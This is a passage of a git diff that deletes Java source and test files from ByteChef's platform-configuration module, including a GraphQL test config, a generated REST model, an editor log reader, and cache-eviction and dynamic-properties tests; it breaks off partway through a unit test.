index 0a85772eb3d..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-graphql/src/test/java/com/bytechef/platform/configuration/web/graphql/config/PlatformConfigurationGraphQlTestConfiguration.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.configuration.web.graphql.config;
-
-import com.bytechef.test.config.graphql.GraphQLScalarTypes;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.graphql.execution.RuntimeWiringConfigurer;
-
-/**
- * @author Ivica Cardic
- */
-@Configuration
-public class PlatformConfigurationGraphQlTestConfiguration {
-
-    @Bean
-    RuntimeWiringConfigurer longScalarWiringConfigurer() {
-        return wiringBuilder -> wiringBuilder.scalar(GraphQLScalarTypes.longScalar());
-    }
-
-    @Bean
-    RuntimeWiringConfigurer mapScalarWiringConfigurer() {
-        return wiringBuilder -> wiringBuilder.scalar(GraphQLScalarTypes.mapScalar());
-    }
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-rest/platform-configuration-rest-api/generated/src/main/java/com/bytechef/platform/configuration/web/rest/model/DeleteWorkflowTestConfigurationConnectionRequestModel.java b/server/libs/platform/platform-configuration/platform-configuration-rest/platform-configuration-rest-api/generated/src/main/java/com/bytechef/platform/configuration/web/rest/model/DeleteWorkflowTestConfigurationConnectionRequestModel.java
deleted file mode 100644
index 491e5c316e3..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-rest/platform-configuration-rest-api/generated/src/main/java/com/bytechef/platform/configuration/web/rest/model/DeleteWorkflowTestConfigurationConnectionRequestModel.java
+++ /dev/null
@@ -1,97 +0,0 @@
-package com.bytechef.platform.configuration.web.rest.model;
-
-import java.net.URI;
-import java.util.Objects;
-import com.fasterxml.jackson.annotation.JsonProperty;
-import com.fasterxml.jackson.annotation.JsonCreator;
-import com.fasterxml.jackson.annotation.JsonTypeName;
-import org.springframework.lang.Nullable;
-import org.openapitools.jackson.nullable.JsonNullable;
-import java.time.OffsetDateTime;
-import jakarta.validation.Valid;
-import jakarta.validation.constraints.*;
-import io.swagger.v3.oas.annotations.media.Schema;
-
-
-import java.util.*;
-import jakarta.annotation.Generated;
-
-/**
- * DeleteWorkflowTestConfigurationConnectionRequestModel
- */
-
-@JsonTypeName("deleteWorkflowTestConfigurationConnection_request")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-02-07T09:52:01.007100+01:00[Europe/Zagreb]", comments = "Generator version: 7.19.0")
-public class DeleteWorkflowTestConfigurationConnectionRequestModel {
-
-  private Long connectionId;
-
-  public DeleteWorkflowTestConfigurationConnectionRequestModel() {
-    super();
-  }
-
-  /**
-   * Constructor with only required parameters
-   */
-  public DeleteWorkflowTestConfigurationConnectionRequestModel(Long connectionId) {
-    this.connectionId = connectionId;
-  }
-
-  public DeleteWorkflowTestConfigurationConnectionRequestModel connectionId(Long connectionId) {
-    this.connectionId = connectionId;
-    return this;
-  }
-
-  /**
-   * Get connectionId
-   * @return connectionId
-   */
-  @NotNull 
-  @Schema(name = "connectionId", requiredMode = Schema.RequiredMode.REQUIRED)
-  @JsonProperty("connectionId")
-  public Long getConnectionId() {
-    return connectionId;
-  }
-
-  public void setConnectionId(Long connectionId) {
-    this.connectionId = connectionId;
-  }
-
-  @Override
-  public boolean equals(Object o) {
-    if (this == o) {
-      return true;
-    }
-    if (o == null || getClass() != o.getClass()) {
-      return false;
-    }
-    DeleteWorkflowTestConfigurationConnectionRequestModel deleteWorkflowTestConfigurationConnectionRequest = (DeleteWorkflowTestConfigurationConnectionRequestModel) o;
-    return Objects.equals(this.connectionId, deleteWorkflowTestConfigurationConnectionRequest.connectionId);
-  }
-
-  @Override
-  public int hashCode() {
-    return Objects.hash(connectionId);
-  }
-
-  @Override
-  public String toString() {
-    StringBuilder sb = new StringBuilder();
-    sb.append("class DeleteWorkflowTestConfigurationConnectionRequestModel {\n");
-    sb.append("    connectionId: ").append(toIndentedString(connectionId)).append("\n");
-    sb.append("}");
-    return sb.toString();
-  }
-
-  /**
-   * Convert the given object to string with each line indented by 4 spaces
-   * (except the first line).
-   */
-  private String toIndentedString(@Nullable Object o) {
-    if (o == null) {
-      return "null";
-    }
-    return o.toString().replace("\n", "\n    ");
-  }
-}
-
diff --git a/server/libs/platform/platform-configuration/platform-configuration-service/src/main/java/com/bytechef/platform/configuration/config/PlatformConfigurationJdbcRepositoryConfiguration.java b/server/libs/platform/platform-configuration/platform-configuration-service/src/main/java/com/bytechef/platform/configuration/config/PlatformConfigurationJdbcRepositoryConfiguration.java
deleted file mode 100644
index c27da7704a0..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-service/src/main/java/com/bytechef/platform/configuration/config/PlatformConfigurationJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.configuration.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.platform.configuration.repository")
-class PlatformConfigurationJdbcRepositoryConfiguration {
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-service/src/main/java/com/bytechef/platform/configuration/log/EditorLogFileStorageReaderImpl.java b/server/libs/platform/platform-configuration/platform-configuration-service/src/main/java/com/bytechef/platform/configuration/log/EditorLogFileStorageReaderImpl.java
deleted file mode 100644
index e122fb6307c..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-service/src/main/java/com/bytechef/platform/configuration/log/EditorLogFileStorageReaderImpl.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.configuration.log;
-
-import com.bytechef.commons.util.JsonUtils;
-import com.bytechef.platform.component.log.domain.LogEntry;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.io.IOException;
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.util.ArrayList;
-import java.util.List;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.stereotype.Component;
-import tools.jackson.core.type.TypeReference;
-
-/**
- * LogFileStorage implementation for reading logs in editor/test environments. Reads logs from temporary files using
- * JSONL format.
- *
- * @author Ivica Cardic
- */
-@Component
-class EditorLogFileStorageReaderImpl implements EditorLogFileStorageReader {
-
-    private static final Logger logger = LoggerFactory.getLogger(EditorLogFileStorageReaderImpl.class);
-    private static final String LOG_DIR_NAME = "bytechef_editor_logs";
-
-    private final Path logDirectory;
-
-    // Security: PATH_TRAVERSAL_IN is suppressed because logDirectory uses only a hardcoded constant (LOG_DIR_NAME)
-    // combined with java.io.tmpdir system property, with no user input involved.
-    // EI is suppressed because Path is effectively immutable and the field is private final.
-    @SuppressFBWarnings(value = {
-        "CT_CONSTRUCTOR_THROW", "EI", "PATH_TRAVERSAL_IN"
-    }, justification = "Constructor must fail fast if log directory cannot be created; Path is immutable and private; "
-        +
-        "no user input in path construction")
-    EditorLogFileStorageReaderImpl() {
-        this.logDirectory = Path.of(System.getProperty("java.io.tmpdir"), LOG_DIR_NAME);
-
-        try {
-            Files.createDirectories(logDirectory);
-        } catch (IOException exception) {
-            throw new RuntimeException("Failed to create editor log directory", exception);
-        }
-    }
-
-    @Override
-    public List<LogEntry> readLogEntries(long jobId, long taskExecutionId) {
-        List<LogEntry> allEntries = readLogEntriesByJobId(jobId);
-
-        return allEntries.stream()
-            .filter(entry -> entry.taskExecutionId() == taskExecutionId)
-            .toList();
-    }
-
-    @Override
-    public List<LogEntry> readLogEntriesByJobId(long jobId) {
-        Path logFile = getLogFilePath(jobId);
-
-        if (!Files.exists(logFile)) {
-            return List.of();
-        }
-
-        try {
-            String content = Files.readString(logFile);
-
-            return parseJsonLines(content);
-        } catch (IOException exception) {
-            logger.error("Failed to read log file: {}", logFile, exception);
-
-            return List.of();
-        }
-    }
-
-    @Override
-    public boolean logsExist(long jobId) {
-        Path logFile = getLogFilePath(jobId);
-
-        try {
-            return Files.exists(logFile) && Files.size(logFile) > 0;
-        } catch (IOException exception) {
-            return false;
-        }
-    }
-
-    // Security: jobId is a primitive long, so it cannot contain path traversal characters
-    private Path getLogFilePath(long jobId) {
-        return logDirectory.resolve("job_" + jobId + ".jsonl");
-    }
-
-    private List<LogEntry> parseJsonLines(String content) {
-        if (content == null || content.isBlank()) {
-            return List.of();
-        }
-
-        List<LogEntry> entries = new ArrayList<>();
-        String[] lines = content.split("\n");
-
-        for (String line : lines) {
-            if (!line.isBlank()) {
-                entries.add(JsonUtils.read(line, new TypeReference<>() {}));
-            }
-        }
-
-        return entries;
-    }
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/libs/platform/platform-configuration/platform-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index 0f55e612701..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.platform.configuration.config.PlatformConfigurationJdbcRepositoryConfiguration
diff --git a/server/libs/platform/platform-configuration/platform-configuration-service/src/test/java/com/bytechef/platform/configuration/cache/WorkflowCacheEvictAspectIntTest.java b/server/libs/platform/platform-configuration/platform-configuration-service/src/test/java/com/bytechef/platform/configuration/cache/WorkflowCacheEvictAspectIntTest.java
deleted file mode 100644
index a40fa5a8458..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-service/src/test/java/com/bytechef/platform/configuration/cache/WorkflowCacheEvictAspectIntTest.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.configuration.cache;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.verifyNoMoreInteractions;
-
-import com.bytechef.jackson.config.JacksonConfiguration;
-import com.bytechef.liquibase.config.LiquibaseConfiguration;
-import com.bytechef.test.config.testcontainers.PostgreSQLContainerConfiguration;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
-import org.springframework.boot.test.context.SpringBootTest;
-import org.springframework.context.annotation.ComponentScan;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.context.annotation.EnableAspectJAutoProxy;
-import org.springframework.context.annotation.Import;
-import org.springframework.test.context.bean.override.mockito.MockitoBean;
-
-/**
- * @author Ivica Cardic
- */
-@SpringBootTest(classes = WorkflowCacheEvictAspectIntTest.TestConfiguration.class)
-@Import(PostgreSQLContainerConfiguration.class)
-class WorkflowCacheEvictAspectIntTest {
-
-    @Configuration
-    @ComponentScan(
-        basePackages = {
-            "com.bytechef.platform.configuration.cache"
-        })
-    @EnableAutoConfiguration
-    @EnableAspectJAutoProxy
-    @Import({
-        JacksonConfiguration.class, LiquibaseConfiguration.class
-    })
-    static class TestConfiguration {
-    }
-
-    @Autowired
-    private WorkflowCacheEvictTestService workflowCacheEvictTestService;
-
-    @MockitoBean
-    private WorkflowCacheManager workflowCacheManager;
-
-    @BeforeEach
-    void setUp() {
-        workflowCacheEvictTestService.reset();
-    }
-
-    @AfterEach
-    void tearDown() {
-        workflowCacheEvictTestService.reset();
-    }
-
-    @Test
-    void testEvictSingleCacheExtractsAnnotatedParameters() {
-        workflowCacheEvictTestService.setBehavior(() -> "success");
-
-        Object result = workflowCacheEvictTestService.evictSingleCache("test-workflow-id", "node-name", 123L);
-
-        assertThat(result).isEqualTo("success");
-        assertThat(workflowCacheEvictTestService.getCallCount()).isEqualTo(1);
-
-        verify(workflowCacheManager).clearCacheForWorkflow("test-workflow-id", "testCache", 123L);
-        verifyNoMoreInteractions(workflowCacheManager);
-    }
-
-    @Test
-    void testEvictMultipleCaches() {
-        workflowCacheEvictTestService.setBehavior(() -> "multiple_success");
-
-        Object result = workflowCacheEvictTestService.evictMultipleCaches("workflow-123", 456L);
-
-        assertThat(result).isEqualTo("multiple_success");
-        assertThat(workflowCacheEvictTestService.getCallCount()).isEqualTo(1);
-
-        verify(workflowCacheManager).clearCacheForWorkflow("workflow-123", "cache1", 456L);
-        verify(workflowCacheManager).clearCacheForWorkflow("workflow-123", "cache2", 456L);
-        verify(workflowCacheManager).clearCacheForWorkflow("workflow-123", "cache3", 456L);
-        verifyNoMoreInteractions(workflowCacheManager);
-    }
-
-    @Test
-    void testEvictWithParametersInDifferentOrder() {
-        workflowCacheEvictTestService.setBehavior(() -> "reversed_success");
-
-        Object result = workflowCacheEvictTestService.evictWithReversedParameters(789L, "other-param", "workflow-xyz");
-
-        assertThat(result).isEqualTo("reversed_success");
-        assertThat(workflowCacheEvictTestService.getCallCount()).isEqualTo(1);
-
-        verify(workflowCacheManager).clearCacheForWorkflow("workflow-xyz", "reversedCache", 789L);
-        verifyNoMoreInteractions(workflowCacheManager);
-    }
-
-    @Test
-    void testCacheEvictionOnlyHappensAfterMethodReturns() {
-        workflowCacheEvictTestService.setBehavior(() -> "after_return");
-
-        Object result = workflowCacheEvictTestService.evictSingleCache("workflow-after", "node", 100L);
-
-        assertThat(result).isEqualTo("after_return");
-
-        verify(workflowCacheManager).clearCacheForWorkflow("workflow-after", "testCache", 100L);
-    }
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-service/src/test/java/com/bytechef/platform/configuration/cache/WorkflowCacheEvictTestService.java b/server/libs/platform/platform-configuration/platform-configuration-service/src/test/java/com/bytechef/platform/configuration/cache/WorkflowCacheEvictTestService.java
deleted file mode 100644
index 210475db507..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-service/src/test/java/com/bytechef/platform/configuration/cache/WorkflowCacheEvictTestService.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.configuration.cache;
-
-import com.bytechef.platform.configuration.annotation.WorkflowCacheEvict;
-import java.util.concurrent.atomic.AtomicInteger;
-import java.util.function.Supplier;
-import org.springframework.stereotype.Service;
-
-/**
- * Test service for exercising the WorkflowCacheEvictAspect. This service is used only in integration tests.
- *
- * @author Ivica Cardic
- */
-@Service
-class WorkflowCacheEvictTestService {
-
-    private final AtomicInteger callCount = new AtomicInteger(0);
-
-    private Supplier<Object> behavior = () -> "success";
-
-    /**
-     * Sets the behavior for the next method call.
-     *
-     * @param behavior the behavior to execute
-     */
-    public void setBehavior(Supplier<Object> behavior) {
-        this.behavior = behavior;
-        this.callCount.set(0);
-    }
-
-    /**
-     * Returns the number of times a test method was called.
-     *
-     * @return the call count
-     */
-    public int getCallCount() {
-        return callCount.get();
-    }
-
-    /**
-     * Resets the call count and behavior.
-     */
-    public void reset() {
-        this.behavior = () -> "success";
-        this.callCount.set(0);
-    }
-
-    /**
-     * Test method with single cache name.
-     */
-    @WorkflowCacheEvict(cacheNames = "testCache")
-    public Object evictSingleCache(
-        @WorkflowCacheEvict.WorkflowIdParam String workflowId, String workflowNodeName,
-        @WorkflowCacheEvict.EnvironmentIdParam long environmentId) {
-
-        callCount.incrementAndGet();
-
-        return behavior.get();
-    }
-
-    /**
-     * Test method with multiple cache names.
-     */
-    @WorkflowCacheEvict(cacheNames = {
-        "cache1", "cache2", "cache3"
-    })
-    public Object evictMultipleCaches(
-        @WorkflowCacheEvict.WorkflowIdParam String workflowId,
-        @WorkflowCacheEvict.EnvironmentIdParam long environmentId) {
-
-        callCount.incrementAndGet();
-
-        return behavior.get();
-    }
-
-    /**
-     * Test method with parameters in different order.
-     */
-    @WorkflowCacheEvict(cacheNames = "reversedCache")
-    public Object evictWithReversedParameters(
-        @WorkflowCacheEvict.EnvironmentIdParam long environmentId, String otherParam,
-        @WorkflowCacheEvict.WorkflowIdParam String workflowId) {
-
-        callCount.incrementAndGet();
-
-        return behavior.get();
-    }
-}
diff --git a/server/libs/platform/platform-configuration/platform-configuration-service/src/test/java/com/bytechef/platform/configuration/facade/WorkflowNodeDynamicPropertiesFacadeTest.java b/server/libs/platform/platform-configuration/platform-configuration-service/src/test/java/com/bytechef/platform/configuration/facade/WorkflowNodeDynamicPropertiesFacadeTest.java
deleted file mode 100644
index 04316b94f0b..00000000000
--- a/server/libs/platform/platform-configuration/platform-configuration-service/src/test/java/com/bytechef/platform/configuration/facade/WorkflowNodeDynamicPropertiesFacadeTest.java
+++ /dev/null
@@ -1,329 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.platform.configuration.facade;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.ArgumentMatchers.anyList;
-import static org.mockito.ArgumentMatchers.anyMap;
-import static org.mockito.ArgumentMatchers.eq;
-import static org.mockito.ArgumentMatchers.isNull;
-import static org.mockito.Mockito.doReturn;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.mockStatic;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.atlas.configuration.domain.Workflow;
-import com.bytechef.atlas.configuration.domain.WorkflowTask;
-import com.bytechef.atlas.configuration.service.WorkflowService;
-import com.bytechef.component.definition.ClusterElementDefinition.ClusterElementType;
-import com.bytechef.evaluator.Evaluator;
-import com.bytechef.platform.component.domain.Property;
-import com.bytechef.platform.component.facade.ActionDefinitionFacade;
-import com.bytechef.platform.component.facade.ClusterElementDefinitionFacade;
-import com.bytechef.platform.component.facade.TriggerDefinitionFacade;
-import com.bytechef.platform.component.service.ClusterElementDefinitionService;
-import com.bytechef.platform.configuration.domain.ClusterElement;
-import com.bytechef.platform.configuration.domain.ClusterElementMap;
-import com.bytechef.platform.configuration.domain.WorkflowTestConfiguration;
-import com.bytechef.platform.configuration.domain.WorkflowTestConfigurationConnection;
-import com.bytechef.platform.configuration.domain.WorkflowTrigger;
-import com.bytechef.platform.configuration.service.WorkflowTestConfigurationService;
-import java.util.List;
-import java.util.Map;
-import java.util.Optional;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.extension.ExtendWith;
-import org.mockito.Mock;
-import org.mockito.MockedStatic;
-import org.mockito.junit.jupiter.MockitoExtension;
-
-/**
- * @author Ivica Cardic
- */
-@ExtendWith(MockitoExtension.class)
-class WorkflowNodeDynamicPropertiesFacadeTest {
-
-    @Mock
-    private ActionDefinitionFacade actionDefinitionFacade;
-
-    @Mock
-    private ClusterElementDefinitionFacade clusterElementDefinitionFacade;
-
-    @Mock
-    private ClusterElementDefinitionService clusterElementDefinitionService;
-
-    @Mock
-    private Evaluator evaluator;
-
-    @Mock
-    private TriggerDefinitionFacade triggerDefinitionFacade;
-
-    @Mock
-    private WorkflowService workflowService;
-
-    @Mock
-    private WorkflowNodeOutputFacade workflowNodeOutputFacade;
-
-    @Mock
-    private WorkflowTestConfigurationService workflowTestConfigurationService;
-
-    private WorkflowNodeDynamicPropertiesFacadeImpl workflowNodeDynamicPropertiesFacade;
-
-    @BeforeEach
-    void setUp() {
-        workflowNodeDynamicPropertiesFacade = new WorkflowNodeDynamicPropertiesFacadeImpl(
-            actionDefinitionFacade, clusterElementDefinitionFacade, clusterElementDefinitionService, evaluator,
-            triggerDefinitionFacade, workflowService, workflowNodeOutputFacade, workflowTestConfigurationService);
-    }
-
-    @Test
-    void testGetClusterElementDynamicPropertiesResolvesConnectionByWorkflowConnectionKey() {
-        String workflowId = "workflow1";
-        String workflowNodeName = "aiTask1";
-        String clusterElementTypeName = "model";
-        String clusterElementWorkflowNodeName = "openai1";
-        String propertyName = "model";
-        long environmentId = 1L;
-        long expectedConnectionId = 100L;
-
-        WorkflowTestConfigurationConnection matchingConnection =
-            new WorkflowTestConfigurationConnection(expectedConnectionId, clusterElementWorkflowNodeName, "aiTask1");
-        WorkflowTestConfigurationConnection otherConnection =
-            new WorkflowTestConfigurationConnection(200L, "otherElement", "aiTask1");
-
-        WorkflowTestConfiguration workflowTestConfiguration = new WorkflowTestConfiguration(
-            environmentId, Map.of(), workflowId, List.of(matchingConnection, otherConnection));
-
-        when(workflowTestConfigurationService.fetchWorkflowTestConfiguration(workflowId, environmentId))
-            .thenReturn(Optional.of(workflowTestConfiguration));
-        doReturn(Map.of()).when(workflowTestConfigurationService)
-            .getWorkflowTestConfigurationInputs(workflowId, environmentId);
-
-        Workflow workflow = mock(Workflow.class);
-        WorkflowTask workflowTask = mock(WorkflowTask.class);
-
-        when(workflowService.getWorkflow(workflowId)).thenReturn(workflow);
-        when(workflow.getTask(workflowNodeName)).thenReturn(workflowTask);
-        when(workflowTask.getType()).thenReturn("aiAgent/v1/chat");
-
-        doReturn(Map.of()).when(workflowNodeOutputFacade)
-            .getPreviousWorkflowNodeSampleOutputs(eq(workflowId), eq("aiAgent"), eq(environmentId));
-
-        ClusterElementType clusterElementType = new ClusterElementType("model", "model", "Model");
-
-        when(clusterElementDefinitionService.getClusterElementType("aiAgent", 1, clusterElementTypeName))
-            .thenReturn(clusterElementType);
-
-        ClusterElement clusterElement = mock(ClusterElement.class);
-
-        Map<String, Object> clusterElementParameters = Map.of("model", "gpt-4");
-
-        when(clusterElement.getType()).thenReturn("openai/v1/chat");
-        doReturn(clusterElementParameters).when(clusterElement)
-            .getParameters();
-
-        ClusterElementMap clusterElementMap = mock(ClusterElementMap.class);
-
-        when(clusterElementMap.getClusterElement(clusterElementType, clusterElementWorkflowNodeName))
-            .thenReturn(clusterElement);
-        doReturn(Map.of()).when(workflowTask)
-            .getExtensions();
-
-        List<Property> expectedProperties = List.of(mock(Property.class));
-
-        doReturn(clusterElementParameters).when(evaluator)
-            .evaluate(anyMap(), anyMap());
-        when(clusterElementDefinitionFacade.executeDynamicProperties(
-            eq("openai"), eq(1), eq("chat"), eq(propertyName), anyMap(), anyList(), eq(expectedConnectionId)))
-                .thenReturn(expectedProperties);
-
-        try (MockedStatic<ClusterElementMap> mockedClusterElementMap = mockStatic(ClusterElementMap.class)) {
-            mockedClusterElementMap.when(() -> ClusterElementMap.of(anyMap()))
-                .thenReturn(clusterElementMap);
-
-            List<Property> result = workflowNodeDynamicPropertiesFacade.getClusterElementDynamicProperties(
-                workflowId, workflowNodeName, clusterElementTypeName, clusterElementWorkflowNodeName,
-                propertyName, List.of(), environmentId);
-
-            assertEquals(expectedProperties, result);
-
-            verify(clusterElementDefinitionFacade).executeDynamicProperties(
-                eq("openai"), eq(1), eq("chat"), eq(propertyName), anyMap(), anyList(), eq(expectedConnectionId));
-        }
-    }
-
-    @Test
-    void testGetClusterElementDynamicPropertiesReturnsNullConnectionWhenNoMatch() {
-        String workflowId = "workflow1";
-        String workflowNodeName = "aiTask1";
-        String clusterElementTypeName = "model";
-        String clusterElementWorkflowNodeName = "openai1";
-        String propertyName = "model";
-        long environmentId = 1L;
-
-        when(workflowTestConfigurationService.fetchWorkflowTestConfiguration(workflowId, environmentId))
-            .thenReturn(Optional.empty());
-        doReturn(Map.of()).when(workflowTestConfigurationService)
-            .getWorkflowTestConfigurationInputs(workflowId, environmentId);
-
-        Workflow workflow = mock(Workflow.class);
-        WorkflowTask workflowTask = mock(WorkflowTask.class);
-
-        when(workflowService.getWorkflow(workflowId)).thenReturn(workflow);
-        when(workflow.getTask(workflowNodeName)).thenReturn(workflowTask);
-        when(workflowTask.getType()).thenReturn("aiAgent/v1/chat");
-
-        doReturn(Map.of()).when(workflowNodeOutputFacade)
-            .getPreviousWorkflowNodeSampleOutputs(eq(workflowId), eq("aiAgent"), eq(environmentId));
-
-        ClusterElementType clusterElementType = new ClusterElementType("model", "model", "Model");
-
-        when(clusterElementDefinitionService.getClusterElementType("aiAgent", 1, clusterElementTypeName))
-            .thenReturn(clusterElementType);
-
-        ClusterElement clusterElement = mock(ClusterElement.class);
-
-        when(clusterElement.getType()).thenReturn("openai/v1/chat");
-        doReturn(Map.of()).when(clusterElement)
-            .getParameters();
-
-        ClusterElementMap clusterElementMap = mock(ClusterElementMap.class);
-
-        when(clusterElementMap.getClusterElement(clusterElementType, clusterElementWorkflowNodeName))
-            .thenReturn(clusterElement);
-        doReturn(Map.of()).when(workflowTask)
-            .getExtensions();
-
-        List<Property> expectedProperties = List.of(mock(Property.class));
-
-        doReturn(Map.of()).when(evaluator)
-            .evaluate(anyMap(), anyMap());
-        when(clusterElementDefinitionFacade.executeDynamicProperties(
-            eq("openai"), eq(1), eq("chat"), eq(propertyName), anyMap(), anyList(), isNull()))
-                .thenReturn(expectedProperties);
-
-        try (MockedStatic<ClusterElementMap> mockedClusterElementMap = mockStatic(ClusterElementMap.class)) {
-            mockedClusterElementMap.when(() -> ClusterElementMap.of(anyMap()))
-                .thenReturn(clusterElementMap);
-
-            List<Property> result = workflowNodeDynamicPropertiesFacade.getClusterElementDynamicProperties(
-                workflowId, workflowNodeName, clusterElementTypeName, clusterElementWorkflowNodeName,
-                propertyName, List.of(), environmentId);
-
-            assertEquals(expectedProperties, result);
-
-            verify(clusterElementDefinitionFacade).executeDynamicProperties(
-                eq("openai"), eq(1), eq("chat"), eq(propertyName), anyMap(), anyList(), isNull());
-        }
-    }
-
-    @Test
-    void testGetWorkflowNodeDynamicPropertiesForAction() {
-        String workflowId = "workflow1";
-        String workflowNodeName = "httpClient1";
-        String propertyName = "bodyContentType";
-        long environmentId = 1L;
-        long connectionId = 50L;
-
-        when(workflowTestConfigurationService.fetchWorkflowTestConfigurationConnectionId(
-            workflowId, workflowNodeName, environmentId))
-                .thenReturn(Optional.of(connectionId));
-        doReturn(Map.of()).when(workflowTestConfigurationService)
-            .getWorkflowTestConfigurationInputs(workflowId, environmentId);
-
-        Workflow workflow = mock(Workflow.class);
-        WorkflowTask workflowTask = mock(WorkflowTask.class);
-
-        when(workflowService.getWorkflow(workflowId)).thenReturn(workflow);
-        when(workflow.getTask(workflowNodeName)).thenReturn(workflowTask);
-        when(workflowTask.getType()).thenReturn("httpClient/v1/get");
-        when(workflowTask.getName()).thenReturn(workflowNodeName);
-        doReturn(Map.of()).when(workflowTask)
-            .evaluateParameters(anyMap(), any(Evaluator.class));
-
-        doReturn(Map.of()).when(workflowNodeOutputFacade)
-            .getPreviousWorkflowNodeSampleOutputs(eq(workflowId), eq(workflowNodeName), eq(environmentId));
-
-        List<Property> expectedProperties = List.of(mock(Property.class));
-
-        when(actionDefinitionFacade.executeDynamicProperties(
-            eq("httpClient"), eq(1), eq("get"), eq(propertyName), anyMap(), anyList(), eq(workflowId),
-            eq(connectionId)))
-                .thenReturn(expectedProperties);
-
-        try (MockedStatic<WorkflowTrigger> mockedWorkflowTrigger = mockStatic(WorkflowTrigger.class)) {
